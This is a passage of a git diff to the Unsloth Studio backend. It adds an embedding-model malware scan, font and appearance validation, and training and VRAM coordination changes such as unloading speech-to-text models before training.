+        auto_unload_keep_kv = get_auto_unload_keep_kv(),
     )
 
 
@@ -190,8 +253,8 @@ def update_openai_auto_switch(
     payload: OpenAIAutoSwitchPayload, current_subject: str = Depends(get_current_subject)
 ) -> OpenAIAutoSwitchResponse:
     try:
-        enabled, idle_seconds = set_openai_auto_switch(
-            payload.enabled, payload.auto_unload_idle_seconds
+        enabled, idle_seconds, keep_kv = set_openai_auto_switch(
+            payload.enabled, payload.auto_unload_idle_seconds, payload.auto_unload_keep_kv
         )
     except ValueError as exc:
         raise log_and_http_error(
@@ -201,10 +264,16 @@ def update_openai_auto_switch(
             event = "settings.update_openai_auto_switch_failed",
             log = logger,
         ) from exc
+    idle_unload_active = get_auto_unload_idle_seconds() > 0
+    if not keep_kv or not idle_unload_active:
+        # Keep-KV off or idle unload disabled: drop already-saved chat context too.
+        from core.inference.llama_keepwarm import purge_kv_resume
+        purge_kv_resume()
     return OpenAIAutoSwitchResponse(
         enabled = enabled,
         auto_unload_idle_seconds = idle_seconds,
-        idle_unload_active = get_auto_unload_idle_seconds() > 0,
+        idle_unload_active = idle_unload_active,
+        auto_unload_keep_kv = keep_kv,
     )
 
 
@@ -248,29 +317,45 @@ class EmbeddingModelPayload(BaseModel):
 
 class EmbeddingModelResponse(BaseModel):
     embedding_model: str
+    embedding_gguf_repo: str
     default_embedding_model: str
+    default_embedding_gguf_repo: str
     is_custom: bool
 
 
 def _embedding_model_response() -> EmbeddingModelResponse:
     return EmbeddingModelResponse(
         embedding_model = get_rag_embedding_model(),
+        embedding_gguf_repo = effective_gguf_repo(),
         default_embedding_model = default_embedding_model(),
+        default_embedding_gguf_repo = default_gguf_repo(),
         is_custom = get_stored_embedding_model() is not None,
     )
 
 
-def _llama_backend_active() -> bool:
-    """True when this install embeds via the llama-server (GGUF) backend."""
-    from core.rag import config as rag_config
-    from core.rag import embeddings
-
+def _ambient_hf_token() -> Optional[str]:
+    """The HF token the loader would use (HF_TOKEN env or the cached login), so a gated
+    repo is scanned rather than failing open. None if unavailable."""
     try:
-        raw = (rag_config.EMBED_BACKEND or "auto").strip().lower()
-        key = embeddings._resolve_auto() if raw in embeddings._AUTO_ALIASES else raw
+        from huggingface_hub import get_token
+        return get_token()
+    except Exception:
+        return None
+
+
+def _llama_backend_active() -> bool:
+    """True when this install actually embeds via the llama-server (GGUF) backend.
+
+    Delegates to the embeddings module so a runtime fallback from
+    sentence-transformers to llama-server (after a torch/CUDA load or encode
+    failure) is honored: in that state the process loads only inert GGUF, so the
+    ST pickle gate below must not hard-block a repo whose GGUF companion is clean.
+    Before any backend is built this still reflects the resolver."""
+    from core.rag import embeddings
+    try:
+        return embeddings.active_backend_is_llama()
     except Exception:  # noqa: BLE001 - backend probe must never block saving
         return False
-    return key in embeddings._LLAMA_ALIASES
 
 
 def _resolves_as_local_gguf(model: str) -> bool:
@@ -357,6 +442,8 @@ def update_embedding_model(
     """Set the RAG embedding model. Unless ``force`` is set, the repo is verified
     to be an embedding model via HF metadata; an unverifiable model (wrong type,
     typo, gated repo, or no network) returns 409 so the UI can offer "save anyway".
+    A repo flagged unsafe by HF's security scan returns 403 instead: a hard block
+    that ``force`` cannot bypass, so the UI must not offer "save anyway".
     Documents indexed under the previous model must be re-uploaded."""
     from utils.models import is_embedding_model
 
@@ -370,15 +457,71 @@ def update_embedding_model(
             event = "settings.update_embedding_model_failed",
             log = logger,
         ) from exc
+    hf_token = (payload.hf_token or "").strip() or None
+    from utils.utils import hf_env_offline
+
+    # Offline, both the Hub malware scan and the is-embedding check are unreachable and degrade
+    # to the local cache below; capture the state once.
+    local_only_load = hf_env_offline()
     # The env/default model needs no verification; saving it is a no-op override.
     # A local GGUF on the llama-server backend is accepted as-is: it is exactly
     # what the backend loads, and HF metadata cannot verify a local path.
-    if (
-        model != default_embedding_model()
-        and not payload.force
-        and not (_llama_backend_active() and _resolves_as_local_gguf(model))
-    ):
-        hf_token = (payload.hf_token or "").strip() or None
+    is_local_gguf = _llama_backend_active() and _resolves_as_local_gguf(model)
+    # The pickle gate only matters for the sentence-transformers backend, which is what
+    # deserializes pickles. On the llama-server backend the embedder loads GGUF files
+    # (inert) from effective_gguf_repo(), so scanning the ST repo's pickle here would
+    # wrongly reject a custom repo whose GGUF companion is clean; the GGUF availability
+    # checks below cover that path instead.
+    scan_st_pickle = (
+        model != default_embedding_model() and not is_local_gguf and not _llama_backend_active()
+    )
+    if scan_st_pickle:
+        # Malware/pickle gate before we persist a repo the embedder later loads with
+        # SentenceTransformer. Runs even under force (force only skips the is-embedding
+        # type check for offline/local repos HF cannot verify); local paths and
+        # unreachable scans fail open inside evaluate_file_security.
+        from utils.security import evaluate_file_security, security_load_subdirs
+        from core.rag.embeddings import _st_module_subdirs
+
+        # Fall back to the loader's own token so a gated/private repo is actually scanned
+        # (a token-less scan fails open for exactly the repo that would still load).
+        scan_token = hf_token or _ambient_hf_token()
+        # Offline: subdir probes would hit the network and hang; the offline gate walks the
+        # whole cached snapshot, so no load-subdir hints are needed.
+        if local_only_load:
+            load_subdirs = ()
+        else:
+            # Include ST module dirs (0_Transformer/) so a flagged pickle directly under one
+            # blocks instead of passing as an unreferenced nested shard.
+            load_subdirs = tuple(
+                dict.fromkeys(
+                    (
+                        *security_load_subdirs(model, scan_token),
+                        *_st_module_subdirs(model, scan_token),
+                    )
+                )
+            )
+        if evaluate_file_security(
+            model,
+            hf_token = scan_token,
+            load_subdirs = load_subdirs,
+            local_only_load = local_only_load,
+        ).blocked:
+            # 403, not 409: the client routes every 409 into the forceable "save anyway"
+            # flow, but this block is a hard, non-forceable security refusal.
+            if local_only_load:
+                detail = (
+                    f"{model!r} has cached pickle weights that cannot be security-scanned "
+                    "offline and no safetensors alternative, so it cannot be used as the "
+                    "embedding model. Re-download it with safetensors weights while online."
+                )
+            else:
+                detail = (
+                    f"{model!r} is flagged as unsafe by Hugging Face's security scan and "
+                    "cannot be used as the embedding model."
+                )
+            raise HTTPException(status_code = 403, detail = detail)
+    if model != default_embedding_model() and not payload.force and not is_local_gguf:
         from core.rag import config as rag_config
 
         # A GGUF-named repo on the llama-server backend is loaded from its .gguf
@@ -387,15 +530,28 @@ def update_embedding_model(
         # which would wrongly 409 a valid online GGUF embedder.
         gguf_named = _llama_backend_active() and rag_config._names_gguf(model)
         if not gguf_named and not is_embedding_model(model, hf_token = hf_token):
-            raise HTTPException(
-                status_code = 409,
-                detail = (
-                    f"Could not verify {model!r} as an embedding model on "
-                    "Hugging Face (it may be the wrong model type, gated, or "
-                    "you may be offline)."
-                ),
-            )
-        gguf_error = _local_gguf_backend_error(model) or _hf_gguf_backend_error(model, hf_token)
+            # Offline, is_embedding_model can only confirm the ST layout (modules.json); a
+            # transformers-native embedder (e.g. gte-modernbert) is unverifiable without Hub
+            # metadata. If already cached and loadable, accept it rather than raising a 409 that
+            # online would not (ST can load any cached encoder). Uncached -> 409.
+            from utils.utils import hf_cache_snapshot_is_loadable
+
+            # Require a genuinely loadable cache (config + weights), not just a resolved refs/main,
+            # so a metadata-only partial cache still gets the forceable 409.
+            offline_cached = local_only_load and hf_cache_snapshot_is_loadable(model)
+            if not offline_cached:
+                raise HTTPException(
+                    status_code = 409,
+                    detail = (
+                        f"Could not verify {model!r} as an embedding model on "
+                        "Hugging Face (it may be the wrong model type, gated, or "
+                        "you may be offline)."
+                    ),
+                )
+        # The Hub GGUF probe (list_repo_files) can hang offline; skip it. Local check stays.
+        gguf_error = _local_gguf_backend_error(model)
+        if gguf_error is None and not local_only_load:
+            gguf_error = _hf_gguf_backend_error(model, hf_token)
         if gguf_error:
             raise HTTPException(status_code = 409, detail = gguf_error)
     set_rag_embedding_model(model)
@@ -487,6 +643,7 @@ class PersonalizationProfile(BaseModel):
     nickname: str = Field("", max_length = 200)
     avatarDataUrl: Optional[str] = Field(None, max_length = MAX_AVATAR_DATA_URL_BYTES)
     avatarShape: Literal["circle", "rounded"] = "circle"
+    showGreetingSloth: bool = True
 
     @field_validator("avatarDataUrl")
     @classmethod
@@ -498,11 +655,179 @@ class PersonalizationProfile(BaseModel):
         return value
 
 
+class PersonalizationCustomColors(BaseModel):
+    model_config = ConfigDict(extra = "ignore")
+
+    accent: Optional[str] = Field(None, pattern = r"^#[0-9a-fA-F]{6}$")
+    background: Optional[str] = Field(None, pattern = r"^#[0-9a-fA-F]{6}$")
+    foreground: Optional[str] = Field(None, pattern = r"^#[0-9a-fA-F]{6}$")
+
+
+class PersonalizationCustomColorModes(BaseModel):
+    model_config = ConfigDict(extra = "ignore")
+
+    light: PersonalizationCustomColors = Field(default_factory = PersonalizationCustomColors)
+    dark: PersonalizationCustomColors = Field(default_factory = PersonalizationCustomColors)
+
+
+MAX_IMPORTED_FONTS = 3
+# ~1.5 MB font file as base64; matches MAX_IMPORTED_FONT_DATA_URL_LENGTH in
+# the frontend appearance-custom-store.
+MAX_FONT_DATA_URL_LENGTH = 2_200_000
+# Aggregate cap across all imported fonts; matches
+# MAX_TOTAL_IMPORTED_FONT_DATA_URL_LENGTH in the frontend so a synced payload
+# always fits the browser's localStorage quota.
+MAX_TOTAL_FONT_DATA_URL_LENGTH = 4_400_000
+
+# Characters that could terminate a CSS declaration, escape the quoted
+# font-family value (backslash), or smuggle extra fallbacks/comments (comma,
+# slash) if a stored name ever reached a stylesheet. The server is the
+# authoritative gate; the frontend strips the same set before use.
+_FONT_NAME_FORBIDDEN = set(";{}()<>\"'\\/,`")
+
+
+def _check_font_name(value: str) -> str:
+    if any(c in _FONT_NAME_FORBIDDEN or ord(c) < 0x20 for c in value):
+        raise ValueError("Font name contains invalid characters.")
+    return value
+
+
+# Matches FONT_DATA_URL_PATTERN in the frontend appearance-custom-store.
+_FONT_DATA_URL_PATTERN = re.compile(
+    r"^data:(?:font/(?:woff2?|ttf|otf|sfnt)"
+    r"|application/(?:octet-stream|x-font-\w+|font-\w+));base64,[A-Za-z0-9+/=]+$"
+)
+
+
+class PersonalizationImportedFont(BaseModel):
+    model_config = ConfigDict(extra = "ignore")
+
+    name: str = Field(..., min_length = 1, max_length = 100)
+    dataUrl: str = Field(..., max_length = MAX_FONT_DATA_URL_LENGTH)
+
+    @field_validator("name")
+    @classmethod
+    def _validate_font_name(cls, value: str) -> str:
+        return _check_font_name(value)
+
+    @field_validator("dataUrl")
+    @classmethod
+    def _validate_font_data_url(cls, value: str) -> str:
+        # fullmatch, not match: re's ``$`` also matches just before a trailing
+        # newline, so ``match`` would accept "data:font/woff2;base64,AAAA\n",
+        # which the frontend's JS pattern (``$`` = end of string) rejects.
+        if not _FONT_DATA_URL_PATTERN.fullmatch(value):
+            raise ValueError("dataUrl must be a base64 font data URL.")
+        return value
+
+
+# Optional user-menu items; the boolean is each id's default visibility.
+# Settings-tab shortcuts ship hidden.
+SIDEBAR_MENU_ITEM_DEFAULTS = {
+    "api": True,
+    "darkMode": True,
+    "guidedTour": True,
+    "profile": False,
+    "appearance": False,
+    "resources": False,
+    "chat": False,
+    "connections": False,
+}
+
+# The sidebarMenu validator below dedupes ids and re-fills any missing ones, so
+# the stored list is always exactly one entry per id. Cap the *incoming* list at
+# a generous multiple rather than len(defaults): a stale or duplicated payload
+# (more items than distinct ids) must reach the validator so it can normalize,
+# instead of being rejected by the length constraint before dedupe runs. A
+# pathologically long list is still refused.
+MAX_SIDEBAR_MENU_INPUT_ITEMS = 4 * len(SIDEBAR_MENU_ITEM_DEFAULTS)
+
+
+class PersonalizationSidebarMenuItem(BaseModel):
+    model_config = ConfigDict(extra = "ignore")
+
+    id: Literal[
+        "api",
+        "darkMode",
+        "guidedTour",
+        "profile",
+        "appearance",
+        "resources",
+        "chat",
+        "connections",
+    ]
+    visible: bool = True
+
+
+def _default_sidebar_menu() -> "list[PersonalizationSidebarMenuItem]":
+    return [
+        PersonalizationSidebarMenuItem(id = item_id, visible = visible)
+        for item_id, visible in SIDEBAR_MENU_ITEM_DEFAULTS.items()
+    ]
+
+
+class PersonalizationCustomization(BaseModel):
+    model_config = ConfigDict(extra = "ignore")
+
+    colors: PersonalizationCustomColorModes = Field(default_factory = PersonalizationCustomColorModes)
+    uiFont: Optional[str] = Field(None, max_length = 200)
+    headingFont: Optional[str] = Field(None, max_length = 200)
+    chatFont: Optional[str] = Field(None, max_length = 200)
+    codeFont: Optional[str] = Field(None, max_length = 200)
+    importedFonts: list[PersonalizationImportedFont] = Field(
+        default_factory = list, max_length = MAX_IMPORTED_FONTS
+    )
+
+    @field_validator("importedFonts")
+    @classmethod
+    def _validate_total_font_size(
+        cls, value: list[PersonalizationImportedFont]
+    ) -> list[PersonalizationImportedFont]:
+        if sum(len(f.dataUrl) for f in value) > MAX_TOTAL_FONT_DATA_URL_LENGTH:
+            raise ValueError("Imported fonts exceed the total size limit.")
+        return value
+
+    @field_validator("uiFont", "headingFont", "chatFont", "codeFont")
+    @classmethod
+    def _validate_selected_fonts(cls, value: Optional[str]) -> Optional[str]:
+        # Selected font names reach CSS the same way imported names do.
+        return value if value is None else _check_font_name(value)
+
+    uiFontSize: Optional[int] = Field(None, ge = 12, le = 20)
+    codeFontSize: Optional[int] = Field(None, ge = 10, le = 20)
+    contrast: int = Field(50, ge = 0, le = 100)
+    pointerCursors: bool = False
+    reduceMotion: Literal["system", "on", "off"] = "system"
+    fontSmoothing: bool = True
+    sidebarMenu: list[PersonalizationSidebarMenuItem] = Field(
+        default_factory = _default_sidebar_menu,
+        max_length = MAX_SIDEBAR_MENU_INPUT_ITEMS,
+    )
+
+    @field_validator("sidebarMenu")
+    @classmethod
+    def _validate_sidebar_menu(
+        cls, value: list[PersonalizationSidebarMenuItem]
+    ) -> list[PersonalizationSidebarMenuItem]:
+        # Drop duplicate ids (keep the first) and re-append any missing ids so
+        # the stored list always covers every optional menu item exactly once.
+        seen: set[str] = set()
+        items = [item for item in value if not (item.id in seen or seen.add(item.id))]
+        for item_id, visible in SIDEBAR_MENU_ITEM_DEFAULTS.items():
+            if item_id not in seen:
+                items.append(PersonalizationSidebarMenuItem(id = item_id, visible = visible))
+        return items
+
+
 class PersonalizationAppearance(BaseModel):
     model_config = ConfigDict(extra = "ignore")
 
     theme: Literal["light", "dark", "system"] = "system"
+    palette: Literal["standard", "classic", "minimal"] = "standard"
     language: Optional[str] = Field(None, max_length = 20)
+    customization: PersonalizationCustomization = Field(
+        default_factory = PersonalizationCustomization
+    )
 
 
 class PersonalizationPayload(BaseModel):
@@ -515,6 +840,11 @@ class PersonalizationPayload(BaseModel):
 
 class PersonalizationResponse(PersonalizationPayload):
     saved: bool = False
+    # False when the stored record predates a field, so the client keeps local
+    # overrides instead of treating a server-filled default as an explicit value.
+    customizationSaved: bool = False
+    paletteSaved: bool = False
+    greetingSlothSaved: bool = False
 
 
 @router.get("/personalization", response_model = PersonalizationResponse)
@@ -524,15 +854,38 @@ def get_personalization_settings(
     stored = get_personalization()
     response = PersonalizationResponse.model_validate(stored or {})
     response.saved = bool(stored)
+    appearance = stored.get("appearance") if isinstance(stored, dict) else None
+    profile = stored.get("profile") if isinstance(stored, dict) else None
+    response.customizationSaved = isinstance(appearance, dict) and "customization" in appearance
+    response.paletteSaved = isinstance(appearance, dict) and "palette" in appearance
+    response.greetingSlothSaved = isinstance(profile, dict) and "showGreetingSloth" in profile
     return response
 
 
+def _merge_personalization(base: dict, overlay: dict) -> dict:
+    # Recursively overlay only the request's set fields onto the stored record,
+    # so a stale client that omits newer keys (palette, customization) does not
+    # materialize their defaults and defeat the *Saved legacy detection.
+    merged = dict(base)
+    for key, value in overlay.items():
+        existing = merged.get(key)
+        if isinstance(value, dict) and isinstance(existing, dict):
+            merged[key] = _merge_personalization(existing, value)
+        else:
+            merged[key] = value
+    return merged
+
+
 @router.put("/personalization", response_model = PersonalizationPayload)
 def update_personalization_settings(
     payload: PersonalizationPayload, current_subject: str = Depends(get_current_subject)
 ) -> PersonalizationPayload:
     try:
-        set_personalization(payload.model_dump())
+        # exclude_unset so absent fields are not persisted as defaults; merge so
+        # fields the request omits keep whatever the record already stored.
+        incoming = payload.model_dump(exclude_unset = True)
+        merged = _merge_personalization(get_personalization(), incoming)
+        set_personalization(merged)
     except ValueError as exc:
         raise log_and_http_error(
             exc,
@@ -541,4 +894,6 @@ def update_personalization_settings(
             event = "settings.update_personalization_failed",
             log = logger,
         ) from exc
-    return payload
+    # Return the stored record, not the defaults-filled request, so the response
+    # matches storage (and the next GET) for fields the client omitted.
+    return PersonalizationPayload.model_validate(merged)
diff --git a/studio/backend/routes/training.py b/studio/backend/routes/training.py
index 1da1c4f425..5b10652fdd 100644
--- a/studio/backend/routes/training.py
+++ b/studio/backend/routes/training.py
@@ -109,7 +109,9 @@ async def get_hardware_utilization(current_subject: str = Depends(get_current_su
 @router.get("/hardware/visible")
 async def get_visible_hardware_utilization(current_subject: str = Depends(get_current_subject)):
     from utils.hardware import get_visible_gpu_utilization
-    return get_visible_gpu_utilization()
+
+    # Off the event loop: the ROCm fallbacks shell out (Windows perf counters, sysfs) and the System view polls this route.
+    return await asyncio.to_thread(get_visible_gpu_utilization)
 
 
 @router.post("/start")
@@ -127,9 +129,9 @@ async def start_training(
     try:
         logger.info(f"Starting training job with model: {request.model_name}")
 
-        # When Studio is driven as an inference API (API-key auth), refuse to start
+        # When Unsloth is driven as an inference API (API-key auth), refuse to start
         # training while a request is in flight: training frees VRAM by unloading
-        # the chat model, which would kill the stream. The Studio UI (session auth)
+        # the chat model, which would kill the stream. The Unsloth UI (session auth)
         # still starts training and coexists/frees VRAM as before. (A mixed UI+API
         # session is not yet special-cased.)
         if via_api_key is True:
@@ -139,13 +141,23 @@ async def start_training(
                     status_code = 409,
                     detail = (
                         "Cannot start training over the API while an inference request is in "
-                        "progress. Wait for it to finish, or start training from the Studio UI."
+                        "progress. Wait for it to finish, or start training from the Unsloth UI."
                     ),
                 )
 
         # No in-process ensure_transformers_version(): the subprocess
         # (worker.py) activates the correct version before importing ML libs.
 
+        # A consented latest-transformers install stage-and-swaps .venv_t5_latest;
+        # a worker spawned mid-swap could activate a half-replaced sidecar.
+        from utils.transformers_latest import is_install_in_progress
+
+        if is_install_in_progress():
+            raise HTTPException(
+                status_code = 409,
+                detail = ("A transformers installation is in progress. Retry when it completes."),
+            )
+
         backend = get_training_backend()
 
         # S3 dataset loading needs the optional boto3 dependency. Reject early
@@ -186,6 +198,7 @@ async def start_training(
                 request.local_eval_datasets, "Local eval dataset"
             )
         resume_output_dir: Optional[str] = None
+        resume_run: Optional[dict] = None
         if request.resume_from_checkpoint:
             try:
                 resume_output_dir = normalize_resume_output_dir(request.resume_from_checkpoint)
@@ -198,7 +211,7 @@ async def start_training(
             if not resume_run or not can_resume_run(resume_run):
                 raise HTTPException(
                     status_code = 400,
-                    detail = "Resume checkpoint must belong to a stopped run with saved trainer state.",
+                    detail = "Resume checkpoint must belong to a stopped or errored run with complete saved trainer state.",
                 )
             resume_checkpoint = get_resume_checkpoint_path(resume_output_dir)
             if not resume_checkpoint:
@@ -341,6 +354,24 @@ async def start_training(
             "s3_config": request.s3_config.model_dump() if request.s3_config else None,
         }
 
+        # Latest-sidecar models size and train 16-bit (same flip as chat load):
+        # 4-bit is disabled for brand-new architectures, so VRAM coexistence
+        # checks must not underestimate against a load the worker will refuse.
+        if training_kwargs["load_in_4bit"]:
+            from utils.transformers_version import latest_tier_active_for
+            if await asyncio.to_thread(
+                latest_tier_active_for,
+                training_kwargs["model_name"],
+                training_kwargs["hf_token"] or None,
+            ):
+                training_kwargs["load_in_4bit"] = False
+                logger.info(
+                    "Latest-transformers sidecar active for %s - sizing and "
+                    "training in 16-bit (4-bit is disabled for brand-new "
+                    "architectures)",
+                    training_kwargs["model_name"],
+                )
+
         # Training page has no trust_remote_code toggle, so honor the YAML default
         # -- but only for genuine first-party (unsloth/nvidia) Hub repos, never a
         # local path or a name merely starting with "unsloth/".
@@ -384,51 +415,44 @@ async def start_training(
             try:
                 from routes.training_vram import (
                     can_keep_chat_during_training,
-                    free_chat_models_for_training,
-                    summarize_resident_chat,
+                    coordinate_models_for_training,
                 )
 
-                resident = summarize_resident_chat()
-                if not resident["any"]:
-                    return
-                if resident.get("loading"):
-                    # In-flight load can't be sized -> free rather than risk OOM.
-                    freed = free_chat_models_for_training(reason = "chat model still loading")
-                    logger.info("Freed in-flight chat load for training: %s", freed)
-                    return
-                keep, info = can_keep_chat_during_training(
-                    model_name = training_kwargs["model_name"],
-                    hf_token = training_kwargs["hf_token"],
-                    training_type = training_kwargs["training_type"],
-                    load_in_4bit = training_kwargs["load_in_4bit"],
-                    batch_size = training_kwargs["batch_size"],
-                    max_seq_length = training_kwargs["max_seq_length"],
-                    lora_rank = training_kwargs["lora_r"],
-                    target_modules = training_kwargs["target_modules"],
-                    gradient_checkpointing = training_kwargs["gradient_checkpointing"],
-                    optimizer = training_kwargs["optim"],
-                    gpu_ids = training_kwargs["gpu_ids"],
-                )
-                if keep:
-                    logger.info(
-                        "Keeping chat model(s) loaded during training "
-                        "(free ~%s GB, needs ~%s GB): %s",
-                        info.get("usable_gb"),
-                        info.get("required_gb"),
-                        resident,
+                def _can_keep_resident_models():
+                    return can_keep_chat_during_training(
+                        model_name = training_kwargs["model_name"],
+                        hf_token = training_kwargs["hf_token"],
+                        training_type = training_kwargs["training_type"],
+                        load_in_4bit = training_kwargs["load_in_4bit"],
+                        batch_size = training_kwargs["batch_size"],
+                        max_seq_length = training_kwargs["max_seq_length"],
+                        lora_rank = training_kwargs["lora_r"],
+                        target_modules = training_kwargs["target_modules"],
+                        gradient_checkpointing = training_kwargs["gradient_checkpointing"],
+                        optimizer = training_kwargs["optim"],
+                        gpu_ids = training_kwargs["gpu_ids"],
                     )
-                else:
-                    freed = free_chat_models_for_training(
-                        reason = "insufficient VRAM to run training alongside chat",
-                    )
-                    logger.info("Freed chat model(s) for training: %s", freed)
+
+                freed = coordinate_models_for_training(_can_keep_resident_models)
+                if freed:
+                    logger.info("Freed models for training: %s", freed)
             except Exception as e:
-                logger.warning("Chat/training VRAM coordination failed; proceeding: %s", e)
+                logger.warning("Inference/training memory coordination failed; proceeding: %s", e)
 
         # The hook runs only once start guards pass -> VRAM freed iff training starts.
-        success = backend.start_training(
-            job_id = job_id, before_spawn = _free_vram_for_training, **training_kwargs
-        )
+        from utils.transformers_version import SidecarSwapInProgress
+
+        try:
+            success = backend.start_training(
+                job_id = job_id,
+                before_spawn = _free_vram_for_training,
+                resume_source_run_id = resume_run["id"] if resume_run else None,
+                **training_kwargs,
+            )
+        except SidecarSwapInProgress as exc:
+            # Expected loss of the race against a sidecar install: a retryable
+            # 409 matching the route-entry guard, not an internal error.
+            raise HTTPException(status_code = 409, detail = str(exc))
 
         if not success:
             progress_error = backend.trainer.training_progress.error
@@ -486,7 +510,10 @@ async def stop_training(
                 status = "idle", message = "No training job is currently running"
             )
 
-        backend.stop_training(save = body.save)
+        if not backend.stop_training(save = body.save):
+            return TrainingStopResponse(
+                status = "idle", message = "No training job is currently running"
+            )
 
         return TrainingStopResponse(
             status = "stopped",
@@ -602,9 +629,9 @@ async def get_training_status(current_subject: str = Depends(get_current_subject
                 "loss": getattr(progress, "loss", None),
                 "learning_rate": getattr(progress, "learning_rate", None),
             }
-            output_dir = getattr(backend, "_output_dir", None)
-            if output_dir:
-                details["output_dir"] = output_dir
+            # Always present: an explicit null tells the client to drop a cached
+            # path (stop without save clears the run's output_dir).
+            details["output_dir"] = getattr(backend, "_output_dir", None) or None
 
         # Metric history for chart recovery after SSE reconnection.
         metric_history = None
@@ -698,7 +725,9 @@ async def stream_training_progress(
     if last_event_id is not None:
         try:
             resume_from_step = int(last_event_id)
-            logger.info(f"SSE reconnect: resuming from step {resume_from_step}")
+            # Fires on every reconnect (each tab switch); the meaningful signal is
+            # the "replayed N missed steps" line below, logged only when N > 0.
+            logger.debug(f"SSE reconnect: resuming from step {resume_from_step}")
         except ValueError:
             logger.warning(f"Invalid Last-Event-ID: {last_event_id}")
 
diff --git a/studio/backend/routes/training_vram.py b/studio/backend/routes/training_vram.py
index fb361d3359..83bce8b772 100644
--- a/studio/backend/routes/training_vram.py
+++ b/studio/backend/routes/training_vram.py
@@ -1,15 +1,13 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""VRAM coordination between chat/inference and training.
+"""Memory coordination between inference and training.
 
-Decides, from live free VRAM, whether a resident chat model can stay loaded
-during training or must be unloaded, and unloads it across all backends
-(HF/MLX orchestrator + llama.cpp GGUF server). In the route layer because the
-GGUF accessor lives in routes/inference.py; backends are imported lazily.
+Uses live free VRAM to keep resident chat and STT models when they fit. STT is
+evicted before chat when training needs memory.
 """
 
-from typing import Any, Dict, List, Optional, Tuple
+from typing import Any, Callable, Dict, List, Optional, Tuple
 
 from loggers import get_logger
 
@@ -77,6 +75,37 @@ def summarize_resident_chat() -> Dict[str, Any]:
     }
 
 
+def summarize_resident_stt() -> Dict[str, Any]:
+    """Report the resident dictation model (either engine). Never raises."""
+    try:
+        from core.inference.stt_ggml_sidecar import get_ggml_stt_sidecar
+        from core.inference.stt_sidecar import get_stt_sidecar
+
+        sidecar = get_stt_sidecar()
+        model = sidecar.loaded_model
+        device = sidecar.device
+        loading = sidecar.is_loading()
+        # whisper.cpp holds GPU memory via its subprocess, and both engines can be
+        # live at once (engine switch or direct /audio/stt/load). Always fold the
+        # GGUF sidecar in: a resident Transformers model must not mask a GGUF
+        # server still binding its backend, or admission lets training launch into
+        # that startup and OOM.
+        ggml = get_ggml_stt_sidecar()
+        if not model:
+            model = ggml.loaded_model
+            device = device or ggml.device
+        loading = loading or ggml.is_loading()
+        return {
+            "model": model,
+            "device": device,
+            "loading": loading,
+            "any": bool(model or loading),
+        }
+    except Exception as e:
+        logger.warning("Could not inspect STT sidecar: %s", e)
+        return {"model": None, "device": None, "loading": False, "any": False}
+
+
 def can_keep_chat_during_training(
     *,
     model_name: str,
@@ -197,15 +226,18 @@ def can_load_chat_during_training(
     requested_gpu_ids: Optional[List[int]],
     is_gguf: bool = False,
     required_override_gb: Optional[float] = None,
+    single_device_gpu: Optional[str] = None,
 ) -> Tuple[bool, Dict[str, Any]]:
     """Decide if a NEW chat model can load without OOMing active training (inverse
     of can_keep_chat_during_training: training is already resident, so size the
     chat model against the free VRAM that remains). Sizes/places it the same way
     the loader will: HF auto reuses auto_select_gpu_ids; HF explicit requires an
     even-share per-GPU floor for device_map="balanced"; GGUF sizes from
-    required_override_gb over the visible pool. `load_in_4bit` must be effective
-    (LoRA can flip 4-bit -> 16-bit). Non-CUDA allows the load; default-deny on any
-    CUDA case it can't size, so a load never OOMs training."""
+    required_override_gb over the visible pool. ``single_device_gpu`` is the
+    exact physical device token selected by a single-device runner.
+    `load_in_4bit` must be effective (LoRA can flip 4-bit -> 16-bit). Non-CUDA
+    allows the load; default-deny on any CUDA case it can't size, so a load never
+    OOMs training."""
     try:
         from utils.hardware import (
             DeviceType,
@@ -251,26 +283,49 @@ def can_load_chat_during_training(
             }
 
         # Explicit GPUs, or GGUF: size directly and check live free VRAM.
+        if single_device_gpu is not None:
+            mode = "single_device"
+        elif is_gguf:
+            mode = "gguf"
+        else:
+            mode = "explicit"
         required_gb = required_override_gb
         if required_gb is None:
             required_gb, _meta = estimate_required_model_memory_gb(model_name, **est_kwargs)
         if required_gb is None:
-            mode = "explicit" if requested_gpu_ids else "gguf"
             return False, {"mode": mode, "reason": "estimate_unavailable"}
 
         free_by_index = _free_vram_by_index(get_visible_gpu_utilization().get("devices", []))
-        if requested_gpu_ids:
+        if single_device_gpu is not None:
+            token = str(single_device_gpu).strip()
+            if not token:
+                # Empty token = a CPU-only single-device runner (e.g. a CPU
+                # diffusion GGUF): it uses no GPU VRAM, so it never threatens
+                # active training and can always load.
+                return True, {"mode": "single_device", "reason": "cpu_only"}
+            try:
+                selected_gpu = int(token)
+                if selected_gpu < 0:
+                    raise ValueError
+            except (TypeError, ValueError):
+                # A non-numeric device token (e.g. a CUDA UUID / MIG handle)
+                # can't be mapped to a free-VRAM index, but the runner still
+                # drives ONE device. Size against the worst-case visible device
+                # (min free), never the aggregate pool, so a single-device load
+                # is never OK'd on capacity it can't use and OOMs training.
+                free_vals = [min(free_by_index.values())] if free_by_index else []
+            else:
+                free_vals = [free_by_index.get(selected_gpu, 0.0)]
+        elif requested_gpu_ids:
             # Invalid ids -> load_model 400s first, so don't block; missing id = 0.
             try:
                 resolved = resolve_requested_gpu_ids(requested_gpu_ids)
             except ValueError:
-                return True, {"mode": "explicit", "reason": "invalid_gpu_ids"}
+                return True, {"mode": mode, "reason": "invalid_gpu_ids"}
             free_vals = [free_by_index.get(i, 0.0) for i in resolved]
-            mode = "explicit"
         else:
             # GGUF: llama.cpp picks the GPU(s); any visible GPU is a candidate.
             free_vals = list(free_by_index.values())
-            mode = "gguf"
 
         if not free_vals:
             return False, {"mode": mode, "reason": "no_visible_gpus"}
@@ -340,3 +395,110 @@ def free_chat_models_for_training(reason: str) -> List[str]:
         logger.warning("Could not unload GGUF chat model: %s", e)
 
     return freed
+
+
+def free_stt_model_for_training(reason: str) -> List[str]:
+    """Unload the dictation model(s) before training. Never raises.
+
+    The Transformers and GGUF sidecars are freed under independent exception
+    boundaries so a failure unloading one backend never skips freeing the other
+    (both can hold accelerator memory at once after an engine switch).
+    """
+    freed: List[str] = []
+    try:
+        from core.inference.stt_sidecar import get_stt_sidecar
+        sidecar = get_stt_sidecar()
+        if sidecar.is_loading() and sidecar.cancel_pending_load():
+            logger.info("Cancelling STT model load for training (%s)", reason)
+            # The loader may still be in from_pretrained()/.to(device) holding
+            # VRAM; wait for it to observe the cancel and release first.
+            sidecar.wait_for_load_to_settle()
